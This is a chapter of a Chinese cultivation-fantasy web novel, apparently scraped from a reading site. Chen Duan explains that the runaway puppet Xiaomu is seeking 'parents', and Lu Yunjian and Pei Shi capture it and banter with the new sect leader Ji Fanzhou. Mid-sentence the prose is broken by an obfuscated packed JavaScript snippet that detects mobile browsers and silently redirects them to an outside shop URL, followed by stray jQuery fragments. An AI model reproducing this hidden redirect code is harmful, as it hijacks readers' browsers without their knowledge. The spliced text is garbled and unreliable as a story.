150. 木偶出逃记(6)
作品:《我是修真界第一大佬白月光》 眼下阿聪、阿呆的执念都已被化去,两只偶人都乖乖地被陈端领走,而大黑与小白则仍守在周昔燕与柳枫霞的坟冢边,如此算来,逃跑的偶人就只剩下一个小木了。
说来奇怪,小木虽说最为淘气,脑袋却也不见得有多灵光,怎么一跑能跑这么久?
云间世虽派出了几名银鹰卫前去找寻小木的踪迹,但偶人到底并非是人,也并非活物,找起来要困难得多,因此一去四五日,也没能把它抓回来。
陆云笺与裴世正向陆明周汇报完近日云间世地界众仙门的境况,陈端便急急忙忙从中孚殿外奔了进来:“陆统领,我的大黑小白怎样了?”
“它俩好着呢。”陆云笺转过身,半真半假地笑道,“可算是见着星枢长老了。”
“我这不是去查小木的下落了么。”陈端拂去衣袍上的尘灰,有些不好意思地笑道,“没想到大黑小白如此淘气,又给统领和副统领添麻烦了。”
“看在小白寻了木梨花的份上,我就放它一马。”陆云笺道,“星枢长老可寻到小木的下落了?”
陈端闻言,面上笑容淡去,转而换上了严肃神色:“这回倒是没有寻到……不过综合阿呆、阿聪,以及大黑、小白的状况,我倒是有了些许思路。”
陆云笺道:“如何?”
陈端却没有立即回答,而是向陆明周要了偶人分布图纸,细细看了一阵,恍然道:“果然没错。”
灾劫结束后,偶人阵中的几百只偶人只剩了十余只,分布在世间各处。
云间世没有将那些残破的偶人收回,若有百姓需要,便可自行将它们捡去,也算提供了些许帮助。
只是为防偶人出差错或是被心怀不轨之人利用,云间世调查了这十余只偶人的分布,将其记录在图纸上,时时监测偶人的异动。
陈端将图纸叠了几下,塞进怀中,顺道在中孚殿寻了个座位坐下:“我一直不知道小木的执念会是什么……但现在想来,或许是想寻到灾劫时,我为了开启偶人阵而制出的那几只偶人。”
陆云笺与裴世听他如此说,便都寻了座位坐下,陆明周也放下手中卷轴,抬眼看向他。
骤然被这么几道目光直直地盯着,陈端反倒不知该如何说话了,在众人期待的目光中,轻咳两声,这才道:“……各位,你们能别这么盯着我吗?”
“……”
待脸上绯红褪去些许,陈端调整了坐姿,尽量忽略几人的目光,又轻咳几声,这才道:“是这样的……
“小木、阿呆、阿聪、大黑、小白,是最早的,也是仅有的五个我开了灵智的木偶人,所以……会不由自主地带上一些我自己的特质。
“比如阿呆,是我……我从前与人比试武功与术法,总是输,所以我很期盼有朝一日能胜一回……
“再说阿聪,我爹娘用了所有的积蓄才能送我来云间世学习术法,我却总也不如别的弟子,不如他们身法敏捷、灵力超群,就连操纵木偶人,也不如别的木偶戏手艺人家的孩子……
“但我根本就不知道爹娘期望我成为一个多么优秀的人,是要灵力强悍,还是要传承好操纵木偶人的手艺?我不知道……我只知道模仿旁人,却因天资愚钝,如何也学不会……
“至于大黑与小白,它们与阿呆阿聪也不一样。制作其余三只偶人时,就算是沾染上了我自己的特质,也只是意外……但大黑与小白却有我的私心。
“我原本只想制一个小黑……它原是沉默严肃的性子,做事要稳妥得多,不会出什么大意外。但制好大黑后,到底觉得它还是太孤单了些……
“小木、阿呆、阿聪都会给自己找好玩的物什,但大黑不会。我觉得,不能因为从前的我没什么朋友,就让大黑也没有朋友。
“所以思来想去……也可能是一时兴起,我又制了一个小白,与大黑一道。小白是活泼吵闹的性子,与大黑一起,使得大黑也活跃起来……
“眼下它们四个的执念都已明了了,阿呆非要论输赢,阿聪一心模仿他人,大黑小白惧怕孤独,想来都是我从前的执念。
“如此推断,那么小木应当也是如此……不过我似乎也没有什么别的执念,若是非要说,或许就只有灾劫过后,多出来的一分……该怎么说呢?我不知道应当算作不舍还是悲伤,但若说有什么让我念念不忘的,就只有这一条了……”
陈端顿了顿,调整好心绪,这才继续道:“如同许多人一样,我的爹娘,也在灾劫之中过世了……
“我这才明白,他们送我来云间世,或许就只是想让我多学几分本事,若是遇上什么劫难,能够侥幸躲过。但我熬过了,他们却没能熬过。
“而我所造出的偶人,自然也是没有爹娘的,小木若是继承了我这一分执念,就只能寻我从前,或说是为开偶人阵而制出的偶人作为‘爹娘’……
“于是银鹰卫又一次发现疑似偶人的踪迹后,我立刻赶往那处,果然发现了偶人阵中存留下来的偶人。
“方才用偶人分布图纸一对照,才发现小木果真是去寻‘爹娘’了……但我不知道它会认为谁是它的‘爹娘’,为何它去了那么多偶人分布点,路过这么多偶人,却没有为任何一个停留。”
见其余三人半晌没说话,陈端抬起头来,又见着三道直直盯着自己、意味不明的目光,却误解了三人的意思,瞬时满面通红,急忙摆手道:“你你你们别误会啊,虽说它们的执念来自于我,但是经过夸张放大了的,我没有……”
“咳……理解理解。”陆云笺轻咳一声,“还好我不会制作偶人,不然还不知要出多少乱子。如此看来,偶人出逃,并非星枢长老之过,这惩罚便免了吧。”
陈端摇头:“它们的灵智继承了我的执念,又是我没有看护好它们,该罚。”
三人沉默片刻,陆明周道:“星枢,现下还有多少偶人分布点没有查过?”
陈端道:“银鹰卫一路追踪下来,查了六处,我近日查了三处,都有疑似小木的痕迹,但没有寻到它。眼下还剩三处,每处各有一只偶人,其中一处更改过几次,我记不大清,便回来向尊主借图纸一观。”
陆云笺道:“更改的那处是怎么回事?”
陈端道:“灾劫时,偶人阵中心在云间世,镜阳宗、怜生寺偶人分布较少,那只偶人作为怜生寺境内偶人阵的阵眼,受创较重,破损得厉害了些,灾劫过后,我原想将它收回,它却被一名百姓捡了去。后来那名百姓迁了住处,那只偶人便也跟着他换了几处。”
陆云笺思索片刻,道:“我倒也在怜生寺地界见过一只残破的偶人,它是不是只剩了一只手、一只脚?”
陈端道:“正是。陆统领何时见过那只偶人?”
陆云笺道:“见到它倒是一年前的事了,不过我与它也算半个熟人,不若我和裴世去寻它,星枢长老和银鹰卫去寻另外两处如何?”
陈端点头:“也好。如此一来,今日应当能将小木带回来了。”
那手断腿瘸的偶人本就行动不便,跟随着主人迁了几处,一路从怜生寺到了镜阳宗,也不知还能不能动,是不是只剩了副木头架子。
听陈端说,这偶人分布图纸半年才会重绘一次,若是这偶人的主人半路将它抛下了,他们便再难寻到它的踪迹。
虽说银鹰卫尚有办法寻找,但不知需要多久,没准小木完成了执念,却仍不肯回到云间世,那时可就麻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767782|179016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烦了。
图纸标记的地点是一处村落,寥寥五户人家,周遭所有土地都被开辟出来种上了稻谷,木屋隐在其中,有些不易发现。
陆云笺跃下归云剑,正瞧见一户人家院中坐着一人,还未看清是谁,片片稻谷却簌簌颤动起来,陆云笺迈出的脚步一收,拽过裴世,蹲身藏到一处草丛之后。
这一藏,才发现院中坐着的正是那只手断腿瘸的偶人,它不像陆云笺一年前见到的那般孤苦伶仃,也不如二人想象中那般在勤勤恳恳地干活,反倒惬意地坐在藤椅上摇摇晃晃。
裴世道:“不只是小木,还有另一个人。”
陆云笺还未回答,忽地一阵劲风径直袭来,裴世一抬手,半道截住了那道气势汹汹的灵光。
与此同时,陆云笺反手拽住了一闪而过的黑影,而后一抬手,数道捆仙索聚成一只牢笼,倏然罩下!
小木苦苦拆卸着自己的头身手脚,奈何每次一动弹,捆仙索牢笼便会收紧几分,它半点也出不去,只能以头撞笼,撞得“哐哐”作响。
“好容易让我给逮着了,不想抓你这么一只小偶人,要耗费这么大功夫。”
陆云笺起身拍了拍手,正要去与小木说话,却瞥见自稻丛中走出来一人,正杵在几步之外的地方。
那人心不甘情不愿地收了手中爆裂的灵光,不悦道:“怎么是你们?”
“好巧啊,季小……”陆云笺笑道,“不对,现在应当唤‘季宗主’了。宗主怎么亲自来捉拿这等小小木偶人了?”
季繁洲一噎,随即冷哼道:“我乐意,你有意见?”
“原来如此啊。”陆云笺作恍然大悟状,仍是笑道,“意见倒是没有,这不是不知季宗主大驾光临,我二人不仅有失远迎,还险些伤了季宗主,心中有愧么。”
季繁洲被噎得说不出话来,只好不尴不尬地摆弄了会儿自己新安的机械手臂,道:“你别这么喊我,我讨厌这个称呼。”
“好吧。”陆云笺摊手,“不过我倒有一法,你若是不想做这个宗主,不如交与我来做如何?”
季繁洲摆弄手臂的手一顿,抬眼看向她:“……你都是云间世的统领了,一人之下万人之上,怎么还惦记着镜阳宗的宗主之位?”
“职多不压身么。”陆云笺道,“若是可以,我还想把云间世镜阳宗怜生寺三大门派的掌门一道当了呢。”
见季繁洲怔愣地看着自己,陆云笺便不逗他了,转而道:“你这机械手臂如何?前几天你继任宗主时,悬机长老没能把它赶制出来,现在好容易安上了,还好使么?”
季繁洲低眸抬手擦过玄铁铸成的手臂,道:“还行,就是有点重,而且不能运转灵力。”他说着一顿,忽地绽放出一个难得的笑容,“不过还好,可以拉弓。”
前几日是镜阳宗掌门继任大典,镜阳宗机甲门诸位长老原想等机械手臂安好了再行仪式,但交与云间世悬机长老的部分出了些意外,眼看赶不上继任大典,众人正思索着要不要另择吉日,季繁洲却坚持要在原定的日子继位。
他说他从不想当什么镜阳宗掌门,但既然季瑶要将此大任交付与他,那么他就想打破所谓“形体完足,体貌周正”的规矩,断臂就断臂,照样当得一派掌门。
那时陆云笺还打趣他是“开天辟地第一人”,但众人都知道,那个孩子心性的十七岁少年终会远去,而年仅二十就继位镜阳宗掌门的季繁洲,也终会成为又一位开天辟地的仙首。
不过,修真界多些年轻血液也是好的。
或许会乱七八糟,或许会颠三倒四,也或许看起来会完蛋,但总会循序渐进,总会渐入佳境,也总会开辟出一片崭新的、繁荣的修真界。

